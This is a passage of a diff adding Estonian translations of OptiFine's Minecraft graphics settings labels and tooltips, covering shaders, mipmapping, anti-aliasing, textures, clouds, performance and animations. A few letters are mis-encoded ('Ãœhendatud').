+of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Käesügavus +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - käsi kaamera lähedal +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (vaikimisi) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - käsi kaamerast kaugel +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Käesügavus juhib, kui kaugel kaamerast on +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=käeshoitavad esemed. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Varjutajapakkidel, mis kasutavad sügavusudu, peaks +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=see muutma käes hoitavate objektide hägusust. + +of.options.shaders.CLOUD_SHADOW=Pilvevari + +of.options.shaders.OLD_HAND_LIGHT=Vana käevalgustus +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Vana käevalgustus +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Vaikimisi - juhitud varjutajapaki poolt +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= SEES - kasuta vana käevalgustust +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= VÄLJAS - kasuta uut käevalgustust +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Vana käevalgustus lubab varjutajapakkidel, +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=mis tuvastavad valgust eritavaid esemeid ainult +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=peamisel käel töötada ka teisasel käel. + +of.options.shaders.OLD_LIGHTING=Vana valgustus +of.options.shaders.OLD_LIGHTING.tooltip.1=Vana valgustus +of.options.shaders.OLD_LIGHTING.tooltip.2= Vaikimisi - juhitud varjutajapaki poolt +of.options.shaders.OLD_LIGHTING.tooltip.3= SEES - kasuta vana valgustust +of.options.shaders.OLD_LIGHTING.tooltip.4= VÄLJAS - kasuta uut valgustust +of.options.shaders.OLD_LIGHTING.tooltip.5=Vana valgustus juhib fikseeritud valguse rakendamist +of.options.shaders.OLD_LIGHTING.tooltip.6=plokikülgedele tavamängu poolt. +of.options.shaders.OLD_LIGHTING.tooltip.7=Varjutajapakid, mis kasutavad varjusid pakuvad tavaliselt +of.options.shaders.OLD_LIGHTING.tooltip.8=palju paremat valgustust, sõltuvalt päikse asukohast. + +of.options.shaders.DOWNLOAD=Laadi varjutajaid alla +of.options.shaders.DOWNLOAD.tooltip.1=Laadi varjutajaid alla +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Avab brauseris varjutajapakkide lehe. +of.options.shaders.DOWNLOAD.tooltip.4=Aseta allalaaditud varjutajapakid kausta "Shaders" +of.options.shaders.DOWNLOAD.tooltip.5=ning need kuvatakse paigaldatud varjutajate nimekirjas. + +of.options.shaders.SHADER_PACK=Varjutajapakk + +of.options.shaders.shadersFolder=Varjutajate kaust +of.options.shaders.shaderOptions=Varjutajate valikud... + +of.options.shaderOptionsTitle=Varjutajate valikud + +of.options.quality=Kvaliteet... +of.options.qualityTitle=Kvaliteedi seaded + +of.options.details=Detailid... +of.options.detailsTitle=Detailiseaded + +of.options.performance=Jõudlus... +of.options.performanceTitle=Jõudluse seaded + +of.options.animations=Animatsioonid... +of.options.animationsTitle=Animatsiooniseaded + +of.options.other=Muu... +of.options.otherTitle=Muud seaded + +of.options.other.reset=Lähtesta graafikaseaded... + +of.shaders.profile=Profiil + +# Quality + +of.options.mipmap.bilinear=bilineaarne +of.options.mipmap.linear=lineaarne +of.options.mipmap.nearest=lähim +of.options.mipmap.trilinear=trilineaarne + +options.mipmapLevels.tooltip.1=Visuaalne efekt, mis muudab kauged objektid ilusamaks, +options.mipmapLevels.tooltip.2=siludes tekstuuridetaile. +options.mipmapLevels.tooltip.3= VÄLJAS - silumine puudub +options.mipmapLevels.tooltip.4= 1 - minimaalne silumine +options.mipmapLevels.tooltip.5= Maksimaalne - maksimaalne silumine +options.mipmapLevels.tooltip.6=See valik ei mõjuta tavaliselt jõudlust. + +of.options.MIPMAP_TYPE=Mipmappimistüüp +of.options.MIPMAP_TYPE.tooltip.1=Visuaalne efekt, mis muudab kauged objektid ilusamaks, +of.options.MIPMAP_TYPE.tooltip.2=siludes tekstuuridetaile. +of.options.MIPMAP_TYPE.tooltip.3= Lähim - jäme silumine (kiireim) +of.options.MIPMAP_TYPE.tooltip.4= Lineaarne - tavaline silumine +of.options.MIPMAP_TYPE.tooltip.5= Bilineaarne - peen silumine +of.options.MIPMAP_TYPE.tooltip.6= Trilineaarne - peeneim silumine (aeglaseim) + + +of.options.AA_LEVEL=Sakisilumine +of.options.AA_LEVEL.tooltip.1=Sakisilumise (anti-aliasing) filter +of.options.AA_LEVEL.tooltip.2= VÄLJAS - (vaikimisi) sakisilumine puudub (kiirem) +of.options.AA_LEVEL.tooltip.3= 2-16 - silutud jooned ja servad (aeglasem) +of.options.AA_LEVEL.tooltip.4=Sakisilumine silub sakilisi jooni ja teravaid värviüleminekuid. +of.options.AA_LEVEL.tooltip.5=Lubamisel võib see oluliselt alandada kaadrisagedust. +of.options.AA_LEVEL.tooltip.6=Kõik tasemed pole toetatud kõikidel graafikakaartidel. +of.options.AA_LEVEL.tooltip.7= +of.options.AA_LEVEL.tooltip.8=Jõustub peale TAASKÄIVITUST! + +of.options.AF_LEVEL=Anisotroopiline filtr. +of.options.AF_LEVEL.tooltip.1=Anisotroopiline filtreerimine +of.options.AF_LEVEL.tooltip.2= VÄLJAS - (vaikimisi) standardsed tekstuuridetailid (kiirem) +of.options.AF_LEVEL.tooltip.3= 2-16 - peenemad detailid mipmapitud tekstuurides (aeglasem) +of.options.AF_LEVEL.tooltip.4=Anisotroopiline filtreerimine taastab detailid mipmapitud +of.options.AF_LEVEL.tooltip.5=tekstuurides. +of.options.AF_LEVEL.tooltip.6=Lubamisel võib see oluliselt alandada kaadrisagedust. + +of.options.CLEAR_WATER=Selge vesi +of.options.CLEAR_WATER.tooltip.1=Selge vesi +of.options.CLEAR_WATER.tooltip.2= SEES - selge, läbipaistev vesi +of.options.CLEAR_WATER.tooltip.3= VÄLJAS - vaikimisi vesi + +of.options.RANDOM_ENTITIES=Juhuslikud olemid +of.options.RANDOM_ENTITIES.tooltip.1=Juhuslikud olemid +of.options.RANDOM_ENTITIES.tooltip.2= VÄLJAS - juhuslikud olemid puuduvad, kiirem +of.options.RANDOM_ENTITIES.tooltip.3= SEES - juhuslikud olemid, aeglasem +of.options.RANDOM_ENTITIES.tooltip.4=Juhuslikud olemid kasutab suvalisi tekstuure mängu olemitel. +of.options.RANDOM_ENTITIES.tooltip.5=Vajab ressursipakki, millel on mitu olemitekstuuri. + +of.options.BETTER_GRASS=Parem muru +of.options.BETTER_GRASS.tooltip.1=Parem muru +of.options.BETTER_GRASS.tooltip.2= VÄLJAS - vaikimisi muru küljetekstuur, kiireim +of.options.BETTER_GRASS.tooltip.3= Kiire - täielik muru küljetekstuur, aeglasem +of.options.BETTER_GRASS.tooltip.4= Uhke - dünaamiline muru küljetekstuur, aeglaseim + +of.options.BETTER_SNOW=Parem lumi +of.options.BETTER_SNOW.tooltip.1=Parem lumi +of.options.BETTER_SNOW.tooltip.2= VÄLJAS - vaikimisi lumi, kiirem +of.options.BETTER_SNOW.tooltip.3= SEES - parem lumi, aeglasem +of.options.BETTER_SNOW.tooltip.4=Näitab lund läbipaistvate plokkide all (aed, kõrge muru), +of.options.BETTER_SNOW.tooltip.5=kui ääristada lumeplokkidega. + +of.options.CUSTOM_FONTS=Kohandatud fondid +of.options.CUSTOM_FONTS.tooltip.1=Kohandatud fondid +of.options.CUSTOM_FONTS.tooltip.2= SEES - kasutab kohandatud fonte (vaikimisi), aeglasem +of.options.CUSTOM_FONTS.tooltip.3= VÄLJAS - kasutab vaikimisi fonte, kiirem +of.options.CUSTOM_FONTS.tooltip.4=Kohandatud fonte pakub kasutatav ressursipakk. +of.options.CUSTOM_FONTS.tooltip.5= + +of.options.CUSTOM_COLORS=Kohandatud värvid +of.options.CUSTOM_COLORS.tooltip.1=Kohandatud värvid +of.options.CUSTOM_COLORS.tooltip.2= SEES - kasutab kohandatud värve (vaikimisi), aeglasem +of.options.CUSTOM_COLORS.tooltip.3= VÄLJAS - kasutab vaikimisi värve, kiirem +of.options.CUSTOM_COLORS.tooltip.4=Kohandatud värve pakub kasutatav ressursipakk. +of.options.CUSTOM_COLORS.tooltip.5= + +of.options.SWAMP_COLORS=Soo värvid +of.options.SWAMP_COLORS.tooltip.1=Soo värvid +of.options.SWAMP_COLORS.tooltip.2= SEES - kasuta soo värve (vaikimisi), aeglasem +of.options.SWAMP_COLORS.tooltip.3= VÄLJAS - ära kasuta soo värve, kiirem +of.options.SWAMP_COLORS.tooltip.4=Soo värvid mõjutavad muru, lehti, vääte ja vett. + +of.options.SMOOTH_BIOMES=Sujuvad bioomid +of.options.SMOOTH_BIOMES.tooltip.1=Sujuvad bioomid +of.options.SMOOTH_BIOMES.tooltip.2= SEES - bioomide äärte silumine (vaikimisi), aeglasem +of.options.SMOOTH_BIOMES.tooltip.3= VÄLJAS - bioomide äärte silumine puudub, kiirem +of.options.SMOOTH_BIOMES.tooltip.4=Bioomide äärte silumine toimub kõikide ümbritsevate plokkide +of.options.SMOOTH_BIOMES.tooltip.5=juhuslike värvide ja värvide keskmise leidmisega. +of.options.SMOOTH_BIOMES.tooltip.6=Mõjutab muru, lehti, vääte ja vett. + +of.options.CONNECTED_TEXTURES=Ãœhendatud tekstuurid +of.options.CONNECTED_TEXTURES.tooltip.1=Ãœhendatud tekstuurid +of.options.CONNECTED_TEXTURES.tooltip.2= VÄLJAS - ühendatud tekstuurid puuduvad (vaikimisi) +of.options.CONNECTED_TEXTURES.tooltip.3= Kiire - kiired ühendatud tekstuurid +of.options.CONNECTED_TEXTURES.tooltip.4= Uhke - uhked ühendatud tekstuurid +of.options.CONNECTED_TEXTURES.tooltip.5=Ãœhendatud tekstuurid ühendab klaasi, liivakivi ja +of.options.CONNECTED_TEXTURES.tooltip.6=raamaturiiulid, kui need on asetatud kõrvuti. +of.options.CONNECTED_TEXTURES.tooltip.7=Ãœhendatud tekstuure pakub kasutatav ressursipakk. +of.options.CONNECTED_TEXTURES.tooltip.8= + +of.options.NATURAL_TEXTURES=Naturaalsed tekstuurid +of.options.NATURAL_TEXTURES.tooltip.1=Naturaalsed tekstuurid +of.options.NATURAL_TEXTURES.tooltip.2= VÄLJAS - naturaalsed tekstuurid puuduvad (vaikimisi) +of.options.NATURAL_TEXTURES.tooltip.3= SEES - kasuta naturaalseid tekstuure +of.options.NATURAL_TEXTURES.tooltip.4=Naturaalsed tekstuurid eemaldavad võretaolise mustri, +of.options.NATURAL_TEXTURES.tooltip.5=mille loovad sama tüüpi korduvad plokid. See kasutab +of.options.NATURAL_TEXTURES.tooltip.6=pööratud ja peegeldatud variante põhiploki tekstuurist. +of.options.NATURAL_TEXTURES.tooltip.7=Naturaalsete tekstuuride konfiguratsiooni pakub +of.options.NATURAL_TEXTURES.tooltip.8=kasutatav ressursipakk. + +of.options.EMISSIVE_TEXTURES=Kiirgavad tekstuurid +of.options.EMISSIVE_TEXTURES.tooltip.1=Kiirgavad tekstuurid +of.options.EMISSIVE_TEXTURES.tooltip.2= OFF - kiirgavad tekstuurid puuduvad (vaikimisi) +of.options.EMISSIVE_TEXTURES.tooltip.3= ON - kasuta kiirgavaid tekstuure +of.options.EMISSIVE_TEXTURES.tooltip.4=Kiirgavad tekstuurid renderdatakse täisheledusega +of.options.EMISSIVE_TEXTURES.tooltip.5=kuvatud ülekatetena. Neid saab kasutada, et simuleerida +of.options.EMISSIVE_TEXTURES.tooltip.6=baastekstuuri valgust eritavaid osi. +of.options.EMISSIVE_TEXTURES.tooltip.7=Kiirgavaid teksuure pakub kasutatav ressursipakk. +of.options.EMISSIVE_TEXTURES.tooltip.8= + +of.options.CUSTOM_SKY=Kohandatud taevas +of.options.CUSTOM_SKY.tooltip.1=Kohandatud taevas +of.options.CUSTOM_SKY.tooltip.2= SEES - kohandatud taevatekstuurid (vaikimisi), aeglane +of.options.CUSTOM_SKY.tooltip.3= VÄLJAS - vaikimisi taevas, kiirem +of.options.CUSTOM_SKY.tooltip.4=Kohandatud taevatekstuure pakub kasutatav ressursipakk. +of.options.CUSTOM_SKY.tooltip.5= + +of.options.CUSTOM_ITEMS=Kohandatud esemed +of.options.CUSTOM_ITEMS.tooltip.1=Kohandatud esemed +of.options.CUSTOM_ITEMS.tooltip.2= SEES - kohandatud esemetekstuurid (vaikimisi), aeglane +of.options.CUSTOM_ITEMS.tooltip.3= VÄLJAS - vaikimisi esemetekstuurid, kiirem +of.options.CUSTOM_ITEMS.tooltip.4=Kohandatud esemetekstuure pakub kasutatav ressursipakk. +of.options.CUSTOM_ITEMS.tooltip.5= + +of.options.CUSTOM_ENTITY_MODELS=Kohandatud olemimudelid +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Kohandatud olemimudelid +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= SEES - kohandatud olemimudelid (vaikimisi), aeglane +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= VÄLJAS - vaikimisi olemimudelid, kiirem +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Kohandatud olemimudeleid pakub kasutatav ressursipakk. +of.options.CUSTOM_ENTITY_MODELS.tooltip.5= + +of.options.CUSTOM_GUIS=Kohandatud liidesed +of.options.CUSTOM_GUIS.tooltip.1=Kohandatud kasutajaliidesed +of.options.CUSTOM_GUIS.tooltip.2= SEES - kohandatud kasutajaliidesed (vaikimisi), aeglasem +of.options.CUSTOM_GUIS.tooltip.3= VÄLJAS - vaikimisi kasutajaliidesed, kiirem +of.options.CUSTOM_GUIS.tooltip.4=Kohandatud kasutajaliideseid pakub kasutatav ressursipakk. + +# Details + +of.options.CLOUDS=Pilved +of.options.CLOUDS.tooltip.1=Pilved +of.options.CLOUDS.tooltip.2= Vaikimisi - nagu määrab seade Graafika +of.options.CLOUDS.tooltip.3= Kiire - madalam kvaliteet, kiirem +of.options.CLOUDS.tooltip.4= Uhke - kõrgem kvaliteet, aeglasem +of.options.CLOUDS.tooltip.5= VÄLJAS - pilved puuduvad, kiireim +of.options.CLOUDS.tooltip.6=Kiired pilved renderdatakse 2Dna. +of.options.CLOUDS.tooltip.7=Uhked pilved renderdatakse 3Dna. + +of.options.CLOUD_HEIGHT=Pilvekõrgus +of.options.CLOUD_HEIGHT.tooltip.1=Pilvekõrgus +of.options.CLOUD_HEIGHT.tooltip.2= VÄLJAS - vaikimisi kõrgus +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - maailma kõrguspiirangust kõrgemal + +of.options.TREES=Puud +of.options.TREES.tooltip.1=Puud +of.options.TREES.tooltip.2= Vaikimisi - nagu määrab seade Graafika +of.options.TREES.tooltip.3= Kiire - madalam kvaliteet, kiirem +of.options.TREES.tooltip.4= Tark - kõrgem kvaliteet, kiire +of.options.TREES.tooltip.5= Uhke - kõrgeim kvaliteet, aeglasem +of.options.TREES.tooltip.6=Kiiretel puudel on läbipaistmatud lehed. +of.options.TREES.tooltip.7=Uhketel ja tarkadel puudel on läbipaistvad lehed. + +of.options.RAIN=Vihm ja lumi +of.options.RAIN.tooltip.1=Vihm ja lumi +of.options.RAIN.tooltip.2= Vaikimisi - nagu määrab seade Graafika +of.options.RAIN.tooltip.3= Kiire - kerge vihm/lumi, kiirem +of.options.RAIN.tooltip.4= Uhke - tugev vihm/lumi, aeglasem +of.options.RAIN.tooltip.5= VÄLJAS - vihm/lumi puuduvad, kiireim +of.options.RAIN.tooltip.6=Kui vihm on VÄLJAS, on vihma helid ja plärtsatused siiski +of.options.RAIN.tooltip.7=toimivad. + +of.options.SKY=Taevas +of.options.SKY.tooltip.1=Taevas +of.options.SKY.tooltip.2= SEES - taevas on nähtav, aeglasem +of.options.SKY.tooltip.3= VÄLJAS - taevas pole nähtav, kiirem +of.options.SKY.tooltip.4=Kui taevas on VÄLJAS, on kuu ja päike siiski nähtavad. + +of.options.STARS=Tähed +of.options.STARS.tooltip.1=Tähed +of.options.STARS.tooltip.2= SEES - tähed on nähtavad, aeglasem +of.options.STARS.tooltip.3= VÄLJAS - tähed pole nähtavad, kiirem + +of.options.SUN_MOON=Päike ja kuu +of.options.SUN_MOON.tooltip.1=Päike ja kuu +of.options.SUN_MOON.tooltip.2= SEES - päike ja kuu on nähtavad (vaikimisi) +of.options.SUN_MOON.tooltip.3= VÄLJAS - päike ja kuu pole nähtavad (kiirem) + +of.options.SHOW_CAPES=Keebid +of.options.SHOW_CAPES.tooltip.1=Keebid +of.options.SHOW_CAPES.tooltip.2= SEES - kuva mängijate keebid (vaikimisi) +of.options.SHOW_CAPES.tooltip.3= VÄLJAS - ära kuva mängijate keepe + +of.options.TRANSLUCENT_BLOCKS=Läbikumavad plokid +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Läbikumavad plokid +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Vaikimisi - nagu määrab seade Graafika +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Uhke - korrektne värvide üleminek (aeglasem) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Kiire - kiire värvide üleminek (kiirem) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Juhib erinevate värvidega poolläbipaistvate plokkide +of.options.TRANSLUCENT_BLOCKS.tooltip.6=(toonitud klaas, vesi, jää) värvide üleminekut, +of.options.TRANSLUCENT_BLOCKS.tooltip.7=kui need on asetatud õhuvahega üksteise taha. + +of.options.HELD_ITEM_TOOLTIPS=Esemete näpunäited +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Käeshoitavate esemete näpunäited +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= SEES - kuva näpunäiteid käeshoitavatel esemetel (vaikimisi) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= VÄLJAS - ära kuva näpunäiteid käeshoitavatel esemetel + +of.options.ADVANCED_TOOLTIPS=Täpsemad näpunäited +of.options.ADVANCED_TOOLTIPS.tooltip.1=Täpsemad näpunäited +of.options.ADVANCED_TOOLTIPS.tooltip.2= SEES - kuva täpsemad näpunäited +of.options.ADVANCED_TOOLTIPS.tooltip.3= VÄLJAS - peida täpsemad näpunäited (vaikimisi) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Täpsemad näpunäited kuvavad laiendatud infot +of.options.ADVANCED_TOOLTIPS.tooltip.5=esemete kohta (ID, vastupidavus) ja varjutajate +of.options.ADVANCED_TOOLTIPS.tooltip.6=valikute kohta (ID, allikas, vaikeväärtus). + +of.options.DROPPED_ITEMS=Visatud esemed +of.options.DROPPED_ITEMS.tooltip.1=Maha visatud esemed +of.options.DROPPED_ITEMS.tooltip.2= Vaikimisi - nagu määrab seade Graafika +of.options.DROPPED_ITEMS.tooltip.3= Kiire - visatud esemed 2Dna (kiirem) +of.options.DROPPED_ITEMS.tooltip.4= Uhke - visatud esemed 3Dna (aeglasem) + +options.entityShadows.tooltip.1=Olemite varjud +options.entityShadows.tooltip.2= SEES - kuva olemite varje +options.entityShadows.tooltip.3= VÄLJAS - ära kuva olemite varje + +of.options.VIGNETTE=Vinjett +of.options.VIGNETTE.tooltip.1=Visuaalne efekt, mis tumendab kergelt ekraani nurki. +of.options.VIGNETTE.tooltip.2= Vaikimisi - nagu määrab seade Graafika (vaikimisi) +of.options.VIGNETTE.tooltip.3= Kiire - vinjett keelatud (kiirem) +of.options.VIGNETTE.tooltip.4= Uhke - vinjett lubatud (aeglasem) +of.options.VIGNETTE.tooltip.5=Vinjett võib oluliselt mõjutada kaadrisagedust, +of.options.VIGNETTE.tooltip.6=eriti kui mängida täisekraanil. +of.options.VIGNETTE.tooltip.7=Vinjetiefekt on vaevu hoomatav, seda võib ohutult keelata. +of.options.VIGNETTE.tooltip.8= + +of.options.DYNAMIC_FOV=Dünaamiline vaateväli +of.options.DYNAMIC_FOV.tooltip.1=Dünaamiline vaateväli +of.options.DYNAMIC_FOV.tooltip.2= SEES - luba dünaamiline vaateväli (vaikimisi) +of.options.DYNAMIC_FOV.tooltip.3= VÄLJAS - keela dünaamiline vaateväli +of.options.DYNAMIC_FOV.tooltip.4=Muudab vaatevälja lennates, joostes või vibu tõmmates. +of.options.DYNAMIC_FOV.tooltip.5= + +of.options.DYNAMIC_LIGHTS=Dünaamiline valgustus +of.options.DYNAMIC_LIGHTS.tooltip.1=Dünaamiline valgustus +of.options.DYNAMIC_LIGHTS.tooltip.2= VÄLJAS - dünaamiline valgustus puudub (vaikimisi) +of.options.DYNAMIC_LIGHTS.tooltip.3= Kiire - kiire dünaamiline valgustus (uuendatud 500 ms järel) +of.options.DYNAMIC_LIGHTS.tooltip.4= Uhke - uhke dünaamiline valgustus (uuendatud reaalajas) +of.options.DYNAMIC_LIGHTS.tooltip.5=Lubab valgust kiirgavatel esemetel (tõrvik, hõõgkivi jne) +of.options.DYNAMIC_LIGHTS.tooltip.6=käes hoides või maha visates valgustada ümbritsevat ala. +of.options.DYNAMIC_LIGHTS.tooltip.7= + +options.biomeBlendRadius.tooltip.1=Silub bioomidevahelise värvide ülemineku +options.biomeBlendRadius.tooltip.2= VÄLJAS - üleminek puudub (kiireim) +options.biomeBlendRadius.tooltip.3= 5x5 - tavaline üleminek (vaikimisi) +options.biomeBlendRadius.tooltip.4= 15x15 - maksimaalne üleminek (aeglaseim) +options.biomeBlendRadius.tooltip.5=Kõrgemad väärtused võivad luua silmnähtavaid +options.biomeBlendRadius.tooltip.6="latentsusokkaid" ning aeglustada kamakalaadimist. + +# Performance + +of.options.SMOOTH_FPS=Sujuv kaadrisagedus +of.options.SMOOTH_FPS.tooltip.1=Stabiliseerib ks, tühjendades graafikadraiveri puhvrit. +of.options.SMOOTH_FPS.tooltip.2= VÄLJAS - stabiliseerimine puudub, ks võib kõikuda +of.options.SMOOTH_FPS.tooltip.3= SEES - kaadrisageduse stabiliseerimine +of.options.SMOOTH_FPS.tooltip.4=See valik sõltub graafikadraiveritest ning selle efekt +of.options.SMOOTH_FPS.tooltip.5=ei pruugi alati nähtav olla. + +of.options.SMOOTH_WORLD=Sujuv maailm +of.options.SMOOTH_WORLD.tooltip.1=Eemaldab siseserveri poolt põhjustatud "latentsusokkaid". +of.options.SMOOTH_WORLD.tooltip.2= VÄLJAS - stabiliseerimine puudub, ks võib kõikuda +of.options.SMOOTH_WORLD.tooltip.3= SEES - kaadrisageduse stabiliseerimine +of.options.SMOOTH_WORLD.tooltip.4=Stabiliseerib kaadrisagedust, jaotades sisemise serveri +of.options.SMOOTH_WORLD.tooltip.5=koormust. Toimib ainult kohalikes maailmades (üksikmäng). + +of.options.FAST_RENDER=Kiire renderdus +of.options.FAST_RENDER.tooltip.1=Kiire renderdus +of.options.FAST_RENDER.tooltip.2= VÄLJAS - standardne renderdus (vaikimisi) +of.options.FAST_RENDER.tooltip.3= SEES - optimeeritud renderdus (kiirem) +of.options.FAST_RENDER.tooltip.4=Kasutab optimeeritud renderduse algoritmi, mis vähendab +of.options.FAST_RENDER.tooltip.5=graafikaprotsessori koormust ja võib oluliselt tõsta ks. +of.options.FAST_RENDER.tooltip.6=See valik võib sattuda konflikti teatud modidega. + +of.options.FAST_MATH=Kiire matemaatika +of.options.FAST_MATH.tooltip.1=Kiire matemaatika +of.options.FAST_MATH.tooltip.2= VÄLJAS - standardne matemaatika (vaikimisi) +of.options.FAST_MATH.tooltip.3= SEES - kiirem matemaatika +of.options.FAST_MATH.tooltip.4=Kasutab optimeeritud sin() ja cos() funktsioone, mis võivad +of.options.FAST_MATH.tooltip.5=paremini rakendada protsessori vahemälu ja tõsta ks. +of.options.FAST_MATH.tooltip.6=See valik võib minimaalselt mõjutada maailma genereerimist. + +of.options.CHUNK_UPDATES=Kamakauuendused +of.options.CHUNK_UPDATES.tooltip.1=Kamakate uuendused +of.options.CHUNK_UPDATES.tooltip.2= 1 - aeglasem maailma laadimine, kõrgem ks (vaikimisi) +of.options.CHUNK_UPDATES.tooltip.3= 3 - kiirem maailma laadimine, madalam ks +of.options.CHUNK_UPDATES.tooltip.4= 5 - kiireim maailma laadimine, madalaim ks +of.options.CHUNK_UPDATES.tooltip.5=Kamakate uuenduste arv renderdatud kaadri kohta, +of.options.CHUNK_UPDATES.tooltip.6=kõrgemad väärtused võivad ks destabiliseerida. + +of.options.CHUNK_UPDATES_DYNAMIC=Dünaamilised uuendused +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dünaamilised kamakauuendused +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= VÄLJAS - standardsed uuendused kaadri kohta (vaikimisi) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= SEES - rohkem uuendusi, kuni mängija seisab paigal +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dünaamilised uuendused sunnivad rohkem kamakauuendusi, +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=kuni mängija seisab paigal, et laadida maailma kiiremini. + +of.options.LAZY_CHUNK_LOADING=Laisk kamakalaadimine +of.options.LAZY_CHUNK_LOADING.tooltip.1=Laisk kamakate laadimine +of.options.LAZY_CHUNK_LOADING.tooltip.2= VÄLJAS - vaikimisi serveri kamakalaadimine +of.options.LAZY_CHUNK_LOADING.tooltip.3= SEES - laisk serveri kamakalaadimine (sujuvam) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Silub integreeritud serveri kamakalaadimist, +of.options.LAZY_CHUNK_LOADING.tooltip.5=jaotades kamakad mitmele tiksule. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Lülita VÄLJA, kui osa maailmast ei laadi korralikult. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Töötab ainult kohalikes maailmades (üksikmäng). + +of.options.RENDER_REGIONS=Renderdusalad +of.options.RENDER_REGIONS.tooltip.1=Renderdusalad +of.options.RENDER_REGIONS.tooltip.2= VÄLJAS - ära kasuta renderdusalasid (vaikimisi) +of.options.RENDER_REGIONS.tooltip.3= SEES - kasuta renderdusalasid +of.options.RENDER_REGIONS.tooltip.4=Renderdusalad lubavad kiiremat maastiku renderdamist +of.options.RENDER_REGIONS.tooltip.5=kõrgematel nähtavuskaugustel. Efektiivsem, kui VBOd on lubatud. +of.options.RENDER_REGIONS.tooltip.6=Pole soovitatav integreeritud graafikakaartide puhul. + +of.options.SMART_ANIMATIONS=Targad animatsioonid +of.options.SMART_ANIMATIONS.tooltip.1=Targad animatsioonid +of.options.SMART_ANIMATIONS.tooltip.2= VÄLJAS - ära kasuta tarku animatsioone (vaikimisi) +of.options.SMART_ANIMATIONS.tooltip.3= SEES - kasuta tarku animatsioone +of.options.SMART_ANIMATIONS.tooltip.4=Tarkade animatsioonide puhul animeerib mäng ainult +of.options.SMART_ANIMATIONS.tooltip.5=neid tekstuure, mida on hetkel ekraanil näha. +of.options.SMART_ANIMATIONS.tooltip.6=See vähendab "latentsusokkaid" ja suurendab ks. +of.options.SMART_ANIMATIONS.tooltip.7=Eriti kasulik suurtel modi- ja ressursipakkidel. + +# Animations + +of.options.animation.allOn=Kõik SISSE +of.options.animation.allOff=Kõik VÄLJA +of.options.animation.dynamic=Dünaamiline + +of.options.ANIMATED_WATER=Veeanimatsioon +of.options.ANIMATED_LAVA=Laavaanimatsioon +of.options.ANIMATED_FIRE=Tuleanimatsioon +of.options.ANIMATED_PORTAL=Portaalianimatsioon +of.options.ANIMATED_REDSTONE=Redstone-animatsioon +of.options.ANIMATED_EXPLOSION=Plahvatuse animatsioon +of.options.ANIMATED_FLAME=Leegianimatsioon +of.options.ANIMATED_SMOKE=Suitsuanimatsioon +of.options.VOID_PARTICLES=Tühjuse osakesed +of.options.WATER_PARTICLES=Veeosakesed +of.options.RAIN_SPLASH=Vihmaplärtsatused +of.options.PORTAL_PARTICLES=Portaaliosakesed +of.options.POTION_PARTICLES=Võlujoogiosakesed +of.options.DRIPPING_WATER_LAVA=Tilkuv vesi/laava +of.options.ANIMATED_TERRAIN=Maastikuanimatsioon +of.options.ANIMATED_TEXTURES=Tekstuurianimatsioon +of.options.FIREWORK_PARTICLES=Ilutulestiku osakesed + +# Other + +of.options.LAGOMETER=Latentsusmõõdik +of.options.LAGOMETER.tooltip.1=Kuvab latentsusmõõdikut silumisvaatel (F3). +of.options.LAGOMETER.tooltip.2=* Oranž - mälu prahikogumine +of.options.LAGOMETER.tooltip.3=* Tsüaansinine - tiksud +of.options.LAGOMETER.tooltip.4=* Sinine - ajastatud käivitatavad +of.options.LAGOMETER.tooltip.5=* Lilla - kamaka üleslaadimine +of.options.LAGOMETER.tooltip.6=* Punane - kamakauuendused +of.options.LAGOMETER.tooltip.7=* Kollane - nähtavuskontroll +of.options.LAGOMETER.tooltip.8=* Roheline - maastiku renderdus + +of.options.PROFILER=Silumisprofiilija +of.options.PROFILER.tooltip.1=Silumisprofiilija +of.options.PROFILER.tooltip.2= SEES - silumisprofiilija on aktiivne, aeglasem +of.options.PROFILER.tooltip.3= VÄLJAS - silumisprofiilija pole aktiivne, kiirem +of.options.PROFILER.tooltip.4=Silumisprofiilija kogub ja kuvab silumisinfot, kui +of.options.PROFILER.tooltip.5=silumisvaade on avatud (F3). + +of.options.WEATHER=Ilm +of.options.WEATHER.tooltip.1=Ilm +of.options.WEATHER.tooltip.2= SEES - ilm on aktiivne, aeglasem +of.options.WEATHER.tooltip.3= VÄLJAS - ilm pole aktiivne, kiirem +of.options.WEATHER.tooltip.4=Ilm juhib vihma, lund ja äikest. +of.options.WEATHER.tooltip.5=Ilma juhtimine on võimalik ainult kohalikes maailmades. + +of.options.time.dayOnly=ainult päev +of.options.time.nightOnly=ainult öö + +of.options.TIME=Aeg +of.options.TIME.tooltip.1=Aeg 